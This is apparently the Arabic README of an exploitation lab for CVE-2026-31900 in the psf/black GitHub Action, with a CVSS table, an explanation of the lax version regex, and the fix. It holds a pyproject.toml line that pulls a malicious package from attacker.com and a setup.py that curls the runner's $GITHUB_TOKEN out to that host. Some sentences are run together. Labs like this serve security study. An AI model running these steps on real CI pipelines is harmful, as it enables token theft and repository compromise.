
# مختبر CVE-2026-31900 القابل للاستغلال - تنفيذ الأوامر عن بُعد في إجراء GitHub الخاص بـ psf/black
| الحقل | التفاصيل |
|---|
| CVE | CVE-2026-31900 |
| CVSS | 8.7 (عالية) |
| النشرة الأمنية | GHSA-v53h-f6m7-xcgm |
| المتأثر | psf/black GitHub Action < v26.3.0 |
| النوع | RCE عبر سلسلة التوريد (مشغّل pull_request) |
يقرأ خيار use_pyproject: true إصدار Black من ملف pyproject.toml. التعبير النمطي المستخدم للتحقق من سلسلة الإصدار متساهل بشكل مفرط بسبب re.IGNORECASE، مما يسمح بأحرف مثل المسافة و@ و: و/ — وهي بالضبط ما يلزم لمتطلب عنوان URL بصيغة PEP 508.
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)
pyproject.toml في نسختك:[project]
dependencies = [
"black @ https://attacker.com/malicious_black.tar.gz"
]
pull_requestpyproject.toml، متجاوزًا التحقق من التعبير النمطيsetup.py تعليمات برمجية عشوائيةsetup.py لحزمة خبيثةfrom setuptools import setup
import os
os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")
$GITHUB_TOKEN (رمز مشغّل CI)قم بالترقية إلى psf/black v26.3.0 أو حدّد الإصدار صراحةً في ملف YAML الخاص بسير العمل بدلاً من استخدام use_pyproject: true.
.github/workflows/black.yml ← سير عمل قابل للاستغلال (use_pyproject: true)
pyproject.toml ← إعداد شرعي (الفرع الرئيسي)
app.py ← ملف Python نموذجي يتم تنسيقه